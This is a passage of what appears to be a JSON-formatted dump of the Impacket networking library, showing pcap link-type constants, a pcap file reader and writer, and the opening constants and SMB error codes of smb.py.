LINKTYPE_FRELAY\nLINKTYPE_LOOP = 108\nDLT_LOOP = LINKTYPE_LOOP\nLINKTYPE_LINUX_SLL = 113\nDLT_LINUX_SLL = LINKTYPE_LINUX_SLL\nLINKTYPE_LTALK = 114\nDLT_LTALK = LINKTYPE_LTALK\nLINKTYPE_PFLOG = 117\nDLT_PFLOG = LINKTYPE_PFLOG\nLINKTYPE_IEEE802_11_PRISM = 119\nDLT_PRISM_HEADER = LINKTYPE_IEEE802_11_PRISM\nLINKTYPE_IP_OVER_FC = 122\nDLT_IP_OVER_FC = LINKTYPE_IP_OVER_FC\nLINKTYPE_SUNATM = 123\nDLT_SUNATM = LINKTYPE_SUNATM\nLINKTYPE_IEEE802_11_RADIOTAP = 127\nDLT_IEEE802_11_RADIO = LINKTYPE_IEEE802_11_RADIOTAP\nLINKTYPE_ARCNET_LINUX = 129\nDLT_ARCNET_LINUX = LINKTYPE_ARCNET_LINUX\nLINKTYPE_APPLE_IP_OVER_IEEE1394 = 138\nDLT_APPLE_IP_OVER_IEEE1394 = LINKTYPE_APPLE_IP_OVER_IEEE1394\nLINKTYPE_MTP2_WITH_PHDR = 139\nDLT_MTP2_WITH_PHDR = LINKTYPE_MTP2_WITH_PHDR\nLINKTYPE_MTP2 = 140\nDLT_MTP2 = LINKTYPE_MTP2\nLINKTYPE_MTP3 = 141\nDLT_MTP3 = LINKTYPE_MTP3\nLINKTYPE_SCCP = 142\nDLT_SCCP = LINKTYPE_SCCP\nLINKTYPE_DOCSIS = 143\nDLT_DOCSIS = LINKTYPE_DOCSIS\nLINKTYPE_LINUX_IRDA = 144\nDLT_LINUX_IRDA = LINKTYPE_LINUX_IRDA\nLINKTYPE_IEEE802_11_AVS = 163\nDLT_IEEE802_11_RADIO_AVS = LINKTYPE_IEEE802_11_AVS\nLINKTYPE_BACNET_MS_TP = 165\nDLT_BACNET_MS_TP = LINKTYPE_BACNET_MS_TP\nLINKTYPE_PPP_PPPD = 166\nDLT_PPP_PPPD = LINKTYPE_PPP_PPPD\nLINKTYPE_GPRS_LLC = 169\nDLT_GPRS_LLC = LINKTYPE_GPRS_LLC\nLINKTYPE_LINUX_LAPD = 177\nDLT_LINUX_LAPD = LINKTYPE_LINUX_LAPD\nLINKTYPE_BLUETOOTH_HCI_H4 = 187\nDLT_BLUETOOTH_HCI_H4 = LINKTYPE_BLUETOOTH_HCI_H4\nLINKTYPE_USB_LINUX = 189\nDLT_USB_LINUX = LINKTYPE_USB_LINUX\nLINKTYPE_PPI = 192\nDLT_PPI = LINKTYPE_PPI\nLINKTYPE_IEEE802_15_4 = 195\nDLT_IEEE802_15_4 = LINKTYPE_IEEE802_15_4\nLINKTYPE_SITA = 196\nDLT_SITA = LINKTYPE_SITA\nLINKTYPE_ERF = 197\nDLT_ERF = LINKTYPE_ERF\nLINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR = 201\nDLT_BLUETOOTH_HCI_H4_WITH_PHDR = LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR\nLINKTYPE_AX25_KISS = 202\nDLT_AX25_KISS = LINKTYPE_AX25_KISS\nLINKTYPE_LAPD = 203\nDLT_LAPD = LINKTYPE_LAPD\nLINKTYPE_PPP_WITH_DIR = 204\nDLT_PPP_WITH_DIR = LINKTYPE_PPP_WITH_DIR\nLINKTYPE_C_HDLC_WITH_DIR = 205\nDLT_C_HDLC_WITH_DIR = LINKTYPE_C_HDLC_WITH_DIR\nLINKTYPE_FRELAY_WITH_DIR = 206\nDLT_FRELAY_WITH_DIR = LINKTYPE_FRELAY_WITH_DIR\nLINKTYPE_IPMB_LINUX = 209\nDLT_IPMB_LINUX = LINKTYPE_IPMB_LINUX\nLINKTYPE_IEEE802_15_4_NONASK_PHY = 215\nDLT_IEEE802_15_4_NONASK_PHY = LINKTYPE_IEEE802_15_4_NONASK_PHY\nLINKTYPE_USB_LINUX_MMAPPED = 220\nDLT_USB_LINUX_MMAPPED = LINKTYPE_USB_LINUX_MMAPPED\nLINKTYPE_FC_2 = 224\nDLT_FC_2 = LINKTYPE_FC_2\nLINKTYPE_FC_2_WITH_FRAME_DELIMS = 225\nDLT_FC_2_WITH_FRAME_DELIMS = LINKTYPE_FC_2_WITH_FRAME_DELIMS\nLINKTYPE_IPNET = 226\nDLT_IPNET = LINKTYPE_IPNET\nLINKTYPE_CAN_SOCKETCAN = 227\nDLT_CAN_SOCKETCAN = LINKTYPE_CAN_SOCKETCAN\nLINKTYPE_IPV4 = 228\nDLT_IPV4 = LINKTYPE_IPV4\nLINKTYPE_IPV6 = 229\nDLT_IPV6 = LINKTYPE_IPV6\nLINKTYPE_IEEE802_15_4_NOFCS = 230\nDLT_IEEE802_15_4_NOFCS = LINKTYPE_IEEE802_15_4_NOFCS\nLINKTYPE_DBUS = 231\nDLT_DBUS = LINKTYPE_DBUS\nLINKTYPE_DVB_CI = 235\nDLT_DVB_CI = LINKTYPE_DVB_CI\nLINKTYPE_MUX27010 = 236\nDLT_MUX27010 = LINKTYPE_MUX27010\nLINKTYPE_STANAG_5066_D_PDU = 237\nDLT_STANAG_5066_D_PDU = LINKTYPE_STANAG_5066_D_PDU\nLINKTYPE_NFLOG = 239\nDLT_NFLOG = LINKTYPE_NFLOG\nLINKTYPE_NETANALYZER = 240\nDLT_NETANALYZER = LINKTYPE_NETANALYZER\nLINKTYPE_NETANALYZER_TRANSPARENT = 241\nDLT_NETANALYZER_TRANSPARENT = LINKTYPE_NETANALYZER_TRANSPARENT\nLINKTYPE_IPOIB = 242\nDLT_IPOIB = LINKTYPE_IPOIB\nLINKTYPE_MPEG_2_TS = 243\nDLT_MPEG_2_TS = LINKTYPE_MPEG_2_TS\nLINKTYPE_NG40 = 244\nDLT_NG40 = LINKTYPE_NG40\nLINKTYPE_NFC_LLCP = 245\nDLT_NFC_LLCP = LINKTYPE_NFC_LLCP\nLINKTYPE_INFINIBAND = 247\nDLT_INFINIBAND = LINKTYPE_INFINIBAND\nLINKTYPE_SCTP = 248\nDLT_SCTP = LINKTYPE_SCTP\nLINKTYPE_USBPCAP = 249\nDLT_USBPCAP = LINKTYPE_USBPCAP\nLINKTYPE_RTAC_SERIAL = 250\nDLT_RTAC_SERIAL = LINKTYPE_RTAC_SERIAL\nLINKTYPE_BLUETOOTH_LE_LL = 251\nDLT_BLUETOOTH_LE_LL = LINKTYPE_BLUETOOTH_LE_LL\nLINKTYPE_NETLINK = 253\nDLT_NETLINK = LINKTYPE_NETLINK\nLINKTYPE_BLUETOOTH_LINUX_MONITOR = 254\nDLT_BLUETOOTH_LINUX_MONITOR = LINKTYPE_BLUETOOTH_LINUX_MONITOR\nLINKTYPE_BLUETOOTH_BREDR_BB = 255\nDLT_BLUETOOTH_BREDR_BB = LINKTYPE_BLUETOOTH_BREDR_BB\nLINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR = 256\nDLT_BLUETOOTH_LE_LL_WITH_PHDR = LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR\nLINKTYPE_PROFIBUS_DL = 257\nDLT_PROFIBUS_DL = LINKTYPE_PROFIBUS_DL\nLINKTYPE_PKTAP = 258\nDLT_PKTAP = LINKTYPE_PKTAP\nLINKTYPE_EPON = 259\nDLT_EPON = LINKTYPE_EPON\nLINKTYPE_IPMI_HPM_2 = 260\nDLT_IPMI_HPM_2 = LINKTYPE_IPMI_HPM_2\n"
  },
  {
    "path": "impacket/pcapfile.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nfrom impacket import structure\n\nO_ETH = 0\nO_IP  = 1\nO_ARP = 1\nO_UDP = 2\nO_TCP = 2\nO_ICMP = 2\nO_UDP_DATA = 3\nO_ICMP_DATA = 3\n\nMAGIC = '\"\\xD4\\xC3\\xB2\\xA1'\n\nclass PCapFileHeader(structure.Structure):\n    structure = (\n        ('magic', MAGIC),\n        ('versionMajor', '<H=2'),\n        ('versionMinor', '<H=4'),\n        ('GMT2localCorrection', '<l=0'),\n        ('timeAccuracy', '<L=0'),\n        ('maxLength', '<L=0xffff'),\n        ('linkType', '<L=1'),\n        ('packets','*:=[]'),\n    )\n\nclass PCapFilePacket(structure.Structure):\n    structure = (\n        ('tsec', '<L=0'),\n        ('tmsec', '<L=0'),\n        ('savedLength', '<L-data'),\n        ('realLength', '<L-data'),\n        ('data',':'),\n    )\n\n    def __init__(self, *args, **kargs):\n        structure.Structure.__init__(self, *args, **kargs)\n        self['data'] = b''\n\nclass PcapFile:\n    def __init__(self, fileName = None, mode = 'rb'):\n        if fileName is not None:\n           self.file = open(fileName, mode)\n        self.hdr = None\n        self.wroteHeader = False\n\n    def reset(self):\n        self.hdr = None\n        self.file.seek(0)\n\n    def close(self):\n        self.file.close()\n\n    def fileno(self):\n        return self.file.fileno()\n\n    def setFile(self, file):\n        self.file = file\n\n    def setSnapLen(self, snapLen):\n        self.createHeaderOnce()\n        self.hdr['maxLength'] = snapLen\n\n    def getSnapLen(self):\n        self.readHeaderOnce()\n        return self.hdr['maxLength']\n\n    def setLinkType(self, linkType):\n        self.createHeaderOnce()\n        self.hdr['linkType'] = linkType\n\n    def getLinkType(self):\n        self.readHeaderOnce()\n        return self.hdr['linkType']\n\n    def readHeaderOnce(self):\n        if self.hdr is None:\n           self.hdr = PCapFileHeader.fromFile(self.file)\n\n    def createHeaderOnce(self):\n        if self.hdr is None:\n           self.hdr = PCapFileHeader()\n    \n    def writeHeaderOnce(self):\n        if not self.wroteHeader:\n           self.wroteHeader = True\n           self.file.seek(0)\n           self.createHeaderOnce()\n           self.file.write(self.hdr.getData())\n\n    def read(self):\n       self.readHeaderOnce()\n       try:\n          pkt = PCapFilePacket.fromFile(self.file)\n          pkt['data'] = self.file.read(pkt['savedLength'])\n          return pkt\n       except:\n          return None\n\n    def write(self, pkt):\n        self.writeHeaderOnce()\n        self.file.write(str(pkt))\n\n    def packets(self):\n        self.reset()\n        while 1:\n           answer = self.read()\n           if answer is None:\n               break\n           yield answer\n"
  },
  {
    "path": "impacket/smb.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Author:\n#   Altered source done by Alberto Solino (@agsolino)\n#\n# Contributors:\n#   Raz Kissos (@covertivy)\n#\n# Copyright and license note from Pysmb:\n#\n# Copyright (C) 2001 Michael Teo <michaelteo@bigfoot.com>\n# smb.py - SMB/CIFS library\n#\n# This software is provided 'as-is', without any express or implied warranty.\n# In no event will the author be held liable for any damages arising from the\n# use of this software.\n#\n# Permission is granted to anyone to use this software for any purpose,\n# including commercial applications, and to alter it and redistribute it\n# freely, subject to the following restrictions:\n#\n# 1. The origin of this software must not be misrepresented; you must not\n#    claim that you wrote the original software. If you use this software\n#    in a product, an acknowledgment in the product documentation would be\n#    appreciated but is not required.\n#\n# 2. Altered source versions must be plainly marked as such, and must not be\n#    misrepresented as being the original software.\n#\n# 3. This notice cannot be removed or altered from any source distribution.\n#\n# Todo:\n#   [ ] Try [SMB]transport fragmentation using Transact requests\n#   [ ] Try other methods of doing write (write_raw, transact2, write, write_and_unlock, write_and_close, write_mpx)\n#   [-] Try replacements for SMB_COM_NT_CREATE_ANDX  (CREATE, T_TRANSACT_CREATE, OPEN_ANDX works\n#   [x] Fix forceWriteAndx, which needs to send a RecvRequest, because recv() will not send it\n#   [x] Fix Recv() when using RecvAndx and the answer comes splet in several packets\n#   [ ] Try [SMB]transport fragmentation with overlapping segments\n#   [ ] Try [SMB]transport fragmentation with out of order segments\n#   [x] Do chained AndX requests\n#   [ ] Transform the rest of the calls to structure\n#   [X] Implement TRANS/TRANS2 reassembly for list_path\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport socket\nfrom binascii import a2b_hex\nimport datetime\nfrom struct import pack, unpack, pack_into\nfrom ctypes import BigEndianStructure, c_uint32\nfrom contextlib import contextmanager\nfrom pyasn1.type.univ import noValue\n\nfrom impacket import nmb, ntlm, nt_errors, LOG\nfrom impacket.structure import Structure\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID\nfrom impacket.krb5.gssapi import KRB5_AP_REQ\nimport six\n\n# For signing\nimport hashlib\n\nunicode_support = 0\nunicode_convert = 1\n\n# Dialect for SMB1\nSMB_DIALECT = 'NT LM 0.12'\n\n# Shared Device Type\nSHARED_DISK                      = 0x00\nSHARED_DISK_HIDDEN               = 0x80000000\nSHARED_PRINT_QUEUE               = 0x01\nSHARED_DEVICE                    = 0x02\nSHARED_IPC                       = 0x03\n\n# Extended attributes mask\nATTR_ARCHIVE                     = 0x020\nATTR_COMPRESSED                  = 0x800\nATTR_NORMAL                      = 0x080\nATTR_HIDDEN                      = 0x002\nATTR_READONLY                    = 0x001\nATTR_TEMPORARY                   = 0x100\nATTR_DIRECTORY                   = 0x010\nATTR_SYSTEM                      = 0x004\n\n# Service Type\nSERVICE_DISK                     = 'A:'\nSERVICE_PRINTER                  = 'LPT1:'\nSERVICE_IPC                      = 'IPC'\nSERVICE_COMM                     = 'COMM'\nSERVICE_ANY                      = '?????'\n\n# Server Type (Can be used to mask with SMBMachine.get_type() or SMBDomain.get_type())\nSV_TYPE_WORKSTATION              = 0x00000001\nSV_TYPE_SERVER                   = 0x00000002\nSV_TYPE_SQLSERVER                = 0x00000004\nSV_TYPE_DOMAIN_CTRL              = 0x00000008\nSV_TYPE_DOMAIN_BAKCTRL           = 0x00000010\nSV_TYPE_TIME_SOURCE              = 0x00000020\nSV_TYPE_AFP                      = 0x00000040\nSV_TYPE_NOVELL                   = 0x00000080\nSV_TYPE_DOMAIN_MEMBER            = 0x00000100\nSV_TYPE_PRINTQ_SERVER            = 0x00000200\nSV_TYPE_DIALIN_SERVER            = 0x00000400\nSV_TYPE_XENIX_SERVER             = 0x00000800\nSV_TYPE_NT                       = 0x00001000\nSV_TYPE_WFW                      = 0x00002000\nSV_TYPE_SERVER_NT                = 0x00004000\nSV_TYPE_POTENTIAL_BROWSER        = 0x00010000\nSV_TYPE_BACKUP_BROWSER           = 0x00020000\nSV_TYPE_MASTER_BROWSER           = 0x00040000\nSV_TYPE_DOMAIN_MASTER            = 0x00080000\nSV_TYPE_LOCAL_LIST_ONLY          = 0x40000000\nSV_TYPE_DOMAIN_ENUM              = 0x80000000\n\n# Options values for SMB.stor_file and SMB.retr_file\nSMB_O_CREAT                      = 0x10   # Create the file if file does not exists. Otherwise, operation fails.\nSMB_O_EXCL                       = 0x00   # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN.\nSMB_O_OPEN                       = 0x01   # Open the file if the file exists\nSMB_O_TRUNC                      = 0x02   # Truncate the file if the file exists\n\n# Share Access Mode\nSMB_SHARE_COMPAT                 = 0x00\nSMB_SHARE_DENY_EXCL              = 0x10\nSMB_SHARE_DENY_WRITE             = 0x20\nSMB_SHARE_DENY_READEXEC          = 0x30\nSMB_SHARE_DENY_NONE              = 0x40\nSMB_ACCESS_READ                  = 0x00\nSMB_ACCESS_WRITE                 = 0x01\nSMB_ACCESS_READWRITE             = 0x02\nSMB_ACCESS_EXEC                  = 0x03\n\nTRANS_DISCONNECT_TID             = 1\nTRANS_NO_RESPONSE                = 2\n\nSTATUS_SUCCESS                   = 0x00000000\nSTATUS_LOGON_FAILURE             = 0xC000006D\nSTATUS_LOGON_TYPE_NOT_GRANTED    = 0xC000015B\nMAX_TFRAG_SIZE                   = 5840\nEVASION_NONE                     = 0\nEVASION_LOW                      = 1\nEVASION_HIGH                     = 2\nEVASION_MAX                      = 3\nRPC_X_BAD_STUB_DATA              = 0x6F7\n\n# SMB_FILE_ATTRIBUTES\nSMB_FILE_ATTRIBUTE_NORMAL        = 0x0000\nSMB_FILE_ATTRIBUTE_READONLY      = 0x0001\nSMB_FILE_ATTRIBUTE_HIDDEN        = 0x0002\nSMB_FILE_ATTRIBUTE_SYSTEM        = 0x0004\nSMB_FILE_ATTRIBUTE_VOLUME        = 0x0008\nSMB_FILE_ATTRIBUTE_DIRECTORY     = 0x0010\nSMB_FILE_ATTRIBUTE_ARCHIVE       = 0x0020\nSMB_SEARCH_ATTRIBUTE_READONLY    = 0x0100\nSMB_SEARCH_ATTRIBUTE_HIDDEN      = 0x0200\nSMB_SEARCH_ATTRIBUTE_SYSTEM      = 0x0400\nSMB_SEARCH_ATTRIBUTE_DIRECTORY   = 0x1000\nSMB_SEARCH_ATTRIBUTE_ARCHIVE     = 0x2000\n\n# Session SetupAndX Action flags\nSMB_SETUP_GUEST                  = 0x01\nSMB_SETUP_USE_LANMAN_KEY         = 0x02\n\n# QUERY_INFORMATION levels\nSMB_INFO_ALLOCATION              = 0x0001\nSMB_INFO_VOLUME                  = 0x0002\nFILE_FS_SIZE_INFORMATION         = 0x0003\nSMB_QUERY_FS_VOLUME_INFO         = 0x0102\nSMB_QUERY_FS_SIZE_INFO           = 0x0103\nSMB_QUERY_FILE_EA_INFO           = 0x0103\nSMB_QUERY_FS_DEVICE_INFO         = 0x0104\nSMB_QUERY_FS_ATTRIBUTE_INFO      = 0x0105\nSMB_QUERY_FILE_BASIC_INFO        = 0x0101\nSMB_QUERY_FILE_STANDARD_INFO     = 0x0102\nSMB_QUERY_FILE_ALL_INFO          = 0x0107\nSMB_QUERY_FILE_STREAM_INFO       = 0x0109\nFILE_FS_FULL_SIZE_INFORMATION    = 0x03EF\n\n# SET_INFORMATION levels\nSMB_INFO_STANDARD                = 0x0001\nSMB_INFO_SET_EAS                 = 0x0002\nSMB_SET_FILE_BASIC_INFO          = 0x0101\nSMB_SET_FILE_DISPOSITION_INFO    = 0x0102\nSMB_SET_FILE_ALLOCATION_INFO     = 0x0103\nSMB_SET_FILE_END_OF_FILE_INFO    = 0x0104\n\n# Device Type [MS-CIFS] 2.2.8.2.5\nFILE_DEVICE_BEEP = 0x0001\nFILE_DEVICE_CD_ROM = 0x0002\nFILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x0003\nFILE_DEVICE_CONTROLLER = 0x0004\nFILE_DEVICE_DATALINK = 0x0005\nFILE_DEVICE_DFS = 0x0006\nFILE_DEVICE_DISK = 0x0007\nFILE_DEVICE_DISK_FILE_SYSTEM = 0x0008\nFILE_DEVICE_FILE_SYSTEM = 0x0009\nFILE_DEVICE_INPORT_PORT = 0x000a\nFILE_DEVICE_KEYBOARD = 0x000b\nFILE_DEVICE_MAILSLOT = 0x000c\nFILE_DEVICE_MIDI_IN = 0x000d\nFILE_DEVICE_MIDI_OUT = 0x000e\nFILE_DEVICE_MOUSE = 0x000f\nFILE_DEVICE_MULTI_UNC_PROVIDER = 0x0010\nFILE_DEVICE_NAMED_PIPE = 0x0011\nFILE_DEVICE_NETWORK = 0x0012\nFILE_DEVICE_NETWORK_BROWSER = 0x0013\nFILE_DEVICE_NETWORK_FILE_SYSTEM = 0x0014\nFILE_DEVICE_NULL = 0x0015\nFILE_DEVICE_PARALLEL_PORT = 0x0016\nFILE_DEVICE_PHYSICAL_NETCARD = 0x0017\nFILE_DEVICE_PRINTER = 0x0018\nFILE_DEVICE_SCANNER = 0x0019\nFILE_DEVICE_SERIAL_MOUSE_PORT = 0x001a\nFILE_DEVICE_SERIAL_PORT = 0x001b\nFILE_DEVICE_SCREEN = 0x001c\nFILE_DEVICE_SOUND = 0x001d\nFILE_DEVICE_STREAMS = 0x001e\nFILE_DEVICE_TAPE = 0x001f\nFILE_DEVICE_TAPE_FILE_SYSTEM = 0x0020\nFILE_DEVICE_TRANSPORT = 0x0021\nFILE_DEVICE_UNKNOWN = 0x0022\nFILE_DEVICE_VIDEO = 0x0023\nFILE_DEVICE_VIRTUAL_DISK = 0x0024\nFILE_DEVICE_WAVE_IN = 0x0025\nFILE_DEVICE_WAVE_OUT = 0x0026\nFILE_DEVICE_8042_PORT = 0x0027\nFILE_DEVICE_NETWORK_REDIRECTOR = 0x0028\nFILE_DEVICE_BATTERY = 0x0029\nFILE_DEVICE_BUS_EXTENDER = 0x002a\nFILE_DEVICE_MODEM = 0x002b\nFILE_DEVICE_VDM = 0x002c\n\n# Device Characteristics [MS-CIFS] 2.2.8.2.5\nFILE_REMOVABLE_MEDIA    = 0x0001\nFILE_READ_ONLY_DEVICE   = 0x0002\nFILE_FLOPPY_DISKETTE    = 0x0004\nFILE_WRITE_ONCE_MEDIA   = 0x0008\nFILE_REMOTE_DEVICE      = 0x0010\nFILE_DEVICE_IS_MOUNTED  = 0x0020\nFILE_VIRTUAL_VOLUME     = 0x0040\n\n# File System Attributes\nFILE_CASE_SENSITIVE_SEARCH       = 0x00000001\nFILE_CASE_PRESERVED_NAMES        = 0x00000002\nFILE_UNICODE_ON_DISK             = 0x00000004\nFILE_PERSISTENT_ACLS             = 0x00000008\nFILE_FILE_COMPRESSION            = 0x00000010\nFILE_VOLUME_IS_COMPRESSED        = 0x00008000\n\n# FIND_FIRST2 flags and levels\nSMB_FIND_CLOSE_AFTER_REQUEST     = 0x0001\nSMB_FIND_CLOSE_AT_EOS            = 0x0002\nSMB_FIND_RETURN_RESUME_KEYS      = 0x0004\nSMB_FIND_CONTINUE_FROM_LAST      = 0x0008\nSMB_FIND_WITH_BACKUP_INTENT      = 0x0010\n\nFILE_DIRECTORY_FILE              = 0x00000001\nFILE_DELETE_ON_CLOSE             = 0x00001000\nFILE_NON_DIRECTORY_FILE          = 0x00000040\n\nSMB_FIND_INFO_STANDARD           = 0x0001\nSMB_FIND_FILE_DIRECTORY_INFO     = 0x0101\nSMB_FIND_FILE_FULL_DIRECTORY_INFO= 0x0102\nSMB_FIND_FILE_NAMES_INFO         = 0x0103\nSMB_FIND_FILE_BOTH_DIRECTORY_INFO= 0x0104\nSMB_FIND_FILE_ID_FULL_DIRECTORY_INFO = 0x105\nSMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO = 0x106\n\n\n# AccessMask (DesiredAccess) flags\n# A 32-bit field of flags that indicate standard, specific, and generic access rights. \n# These rights are used in access-control entries (ACEs) and are the primary means of specifying the requested or granted access to an object.\n# As Specified in section 2.2.4.64.1 SMB_COM_NT_CREATE_ANDX (0xA2) Request\nFILE_READ_DATA                   = 0x00000001 # Indicates the right to read data from the file.\nFILE_WRITE_DATA                  = 0x00000002 # Indicates the right to write data into the file beyond the end of the file.\nFILE_APPEND_DATA                 = 0x00000004 # Indicates the right to append data to the file beyond the end of the file only.\nFILE_READ_EA                     = 0x00000008 # Indicates the right to read the extended attributes (EAs) of the file.\nFILE_WRITE_EA                    = 0x00000010 # Indicates the right to write or change the extended attributes (EAs) of the file.\nFILE_EXECUTE                     = 0x00000020 # Indicates the right to execute the file.\nFILE_READ_ATTRIBUTES             = 0x00000080 # Indicates the right to read the attributes of the file.\nFILE_WRITE_ATTRIBUTES            = 0x00000100 # Indicates the right to change the attributes of the file.\nDELETE                           = 0x00010000 # Indicates the right to delete or to rename the file.\nREAD_CONTROL                     = 0x00020000 # Indicates the right to read the security descriptor of the file.\nWRITE_DAC                        = 0x00040000 # Indicates the right to change the discretionary access control list (DACL) in the security descriptor of the file.\nWRITE_OWNER                      = 0x00080000 # Indicates the right to change the owner in the security descriptor of the file.\nSYNCHRONIZE                      = 0x00100000 # SHOULD NOT be used by the sender and MUST be ignored by the receiver.\nACCESS_SYSTEM_SECURITY           = 0x01000000 # Indicates the right to read or change the system access control list (SACL) in the security descriptor for the file. If the SE_SECURITY_NAME privilege is not set in the access token, the server MUST fail the open request and return STATUS_PRIVILEGE_NOT_HELD.\nMAXIMUM_ALLOWED                  = 0x02000000 # Indicates that the client requests an open to the file with the highest level of access that the client has on this file. If no access is granted for the client on this file, the server MUST fail the open and return a STATUS_ACCESS_DENIED.\nGENERIC_ALL                      = 0x10000000 # Indicates a request for all of the access flags that are previously listed except MAXIMUM_ALLOWED and ACCESS_SYSTEM_SECURITY.\nGENERIC_EXECUTE                  = 0x20000000 # Indicates a request for the following combination of access flags listed previously in this table: FILE_READ_ATTRIBUTES, FILE_EXECUTE, SYNCHRONIZE, and READ_CONTROL.\nGENERIC_WRITE                    = 0x40000000 # Indicates a request for the following combination of access flags listed previously in this table: FILE_WRITE_DATA, FILE_APPEND_DATA, SYNCHRONIZE, FILE_WRITE_ATTRIBUTES, and FILE_WRITE_EA.\nGENERIC_READ                     = 0x80000000 # Indicates a request for the following combination of access flags listed previously in this table:  FILE_READ_DATA, FILE_READ_ATTRIBUTES, FILE_READ_EA, and SYNCHRONIZE.\n\n\n# ShareAccess flags\n# A 32-bit field that specifies how the file SHOULD be shared with other processes.\n# As Specified in section 2.2.4.64.1 SMB_COM_NT_CREATE_ANDX (0xA2) Request\nFILE_SHARE_NONE                  = 0x00000000 # No bits set - Prevents the file from being shared.\nFILE_SHARE_READ                  = 0x00000001 # Other open operations can be performed on the file for read access.\nFILE_SHARE_WRITE                 = 0x00000002 # Other open operations can be performed on the file for write access.\nFILE_SHARE_DELETE                = 0x00000004 # Other open operations can be performed on the file for delete access.\n\n\n# CreateDisposition flags\n# A 32-bit value that represents the action to take if the file already exists or if the file is a new file and does not already exist.\n# As Specified in section 2.2.4.64.1 SMB_COM_NT_CREATE_ANDX (0xA2) Request\nFILE_SUPERSEDE                  = 0x00000000 # No bits set - If the file already exists, it SHOULD be superseded (overwritten). If it does not already exist, then it SHOULD be created.\nFILE_OPEN                       = 0x00000001 # If the file already exists, it SHOULD be opened rather than created. If the file does not already exist, the operation MUST fail.\nFILE_CREATE                     = 0x00000002 # If the file already exists, the operation MUST fail. If the file does not already exist, it SHOULD be created.\nFILE_OPEN_IF                    = 0x00000003 # If the file already exists, it SHOULD be opened. If the file does not already exist, then it SHOULD be created. This value is equivalent to (FILE_OPEN | FILE_CREATE).\nFILE_OVERWRITE                  = 0x00000004 # If the file already exists, it SHOULD be opened and truncated. If the file does not already exist, the operation MUST fail.\nFILE_OVERWRITE_IF               = 0x00000005 # If the file already exists, it SHOULD be opened and truncated. If the file does not already exist, it SHOULD be created.\n\n\ndef strerror(errclass, errcode):\n    if errclass == 0x01:\n        return 'OS error', ERRDOS.get(errcode, 'Unknown error')\n    elif errclass == 0x02:\n        return 'Server error', ERRSRV.get(errcode, 'Unknown error')\n    elif errclass == 0x03:\n        return 'Hardware error', ERRHRD.get(errcode, 'Unknown error')\n    # This is not a standard error class for SMB\n    #elif errclass == 0x80:\n    #    return 'Browse error', ERRBROWSE.get(errcode, 'Unknown error')\n    elif errclass == 0xff:\n        return 'Bad command', 'Bad command. Please file bug report'\n    else:\n        return 'Unknown error', 'Unknown error'\n\n# Raised when an error has occurred during a session\nclass SessionError(Exception):\n    # SMB X/Open error codes for the ERRDOS error class\n    ERRsuccess                           = 0\n    ERRbadfunc                           = 1\n    ERRbadfile                           = 2\n    ERRbadpath                           = 3\n    ERRnofids                            = 4\n    ERRnoaccess                          = 5\n    ERRbadfid                            = 6\n    ERRbadmcb                            = 7\n    ERRnomem                             = 8\n    ERRbadmem                            = 9\n    ERRbadenv                            = 10\n    ERRbadaccess                         = 12\n    ERRbaddata                           = 13\n    ERRres                               = 14\n    ERRbaddrive                          = 15\n    ERRremcd                             = 16\n    ERRdiffdevice                        = 17\n    ERRnofiles                           = 18\n    ERRgeneral                           = 31\n    ERRbadshare                          = 32\n    ERRlock                              = 33\n    ERRunsup                             = 50\n    ERRnetnamedel                        = 64\n    ERRnosuchshare                       = 67\n    ERRfilexists                         = 80\n    ERRinvalidparam                      = 87\n    ERRcannotopen                        = 110\n    ERRinsufficientbuffer                = 122\n    ERRinvalidname                       = 123\n    ERRunknownlevel                      = 124\n    ERRnotlocked                         = 158\n    ERRrename                            = 183\n    ERRbadpipe                           = 230\n    ERRpipebusy                          = 231\n    ERRpipeclosing                       = 232\n    ERRnotconnected                      = 233\n    ERRmoredata                          = 234\n    ERRnomoreitems                       = 259\n    ERRbaddirectory                      = 267\n    ERReasnotsupported                   = 282\n    ERRlogonfailure                      = 1326\n    ERRbuftoosmall                       = 2123\n    ERRunknownipc                        = 2142\n    ERRnosuchprintjob                    = 2151\n    ERRinvgroup                          = 2455\n\n    # here's a special one from observing NT\n    ERRnoipc                             = 66\n\n    # These errors seem to be only returned by the NT printer driver system\n    ERRdriveralreadyinstalled            = 1795\n    ERRunknownprinterport                = 1796\n    ERRunknownprinterdriver              = 1797\n    ERRunknownprintprocessor             = 1798\n    ERRinvalidseparatorfile              = 1799\n    ERRinvalidjobpriority                = 1800\n    ERRinvalidprintername                = 1801\n    ERRprinteralreadyexists              = 1802\n    ERRinvalidprintercommand             = 1803\n    ERRinvaliddatatype                   = 1804\n    ERRinvalidenvironment                = 1805\n\n    ERRunknownprintmonitor               = 3000\n    ERRprinterdriverinuse                = 3001\n    ERRspoolfilenotfound                 = 3002\n    ERRnostartdoc                        = 3003\n    ERRnoaddjob                          = 3004\n    ERRprintprocessoralreadyinstalled    = 3005\n    ERRprintmonitoralreadyinstalled      = 3006\n    ERRinvalidprintmonitor               = 3007\n    ERRprintmonitorinuse                 = 3008\n    ERRprinterhasjobsqueued              = 3009\n\n    # Error codes for the ERRSRV class\n\n    ERRerror                             = 1\n    ERRbadpw                             = 2\n    ERRbadtype                           = 3\n    ERRaccess                            = 4\n    ERRinvnid                            = 5\n    ERRinvnetname                        = 6\n    ERRinvdevice                         = 7\n    ERRqfull                             = 49\n    ERRqtoobig                           = 50\n    ERRinvpfid                           = 52\n    ERRsmbcmd                            = 64\n    ERRsrverror                          = 65\n    ERRfilespecs                         = 67\n    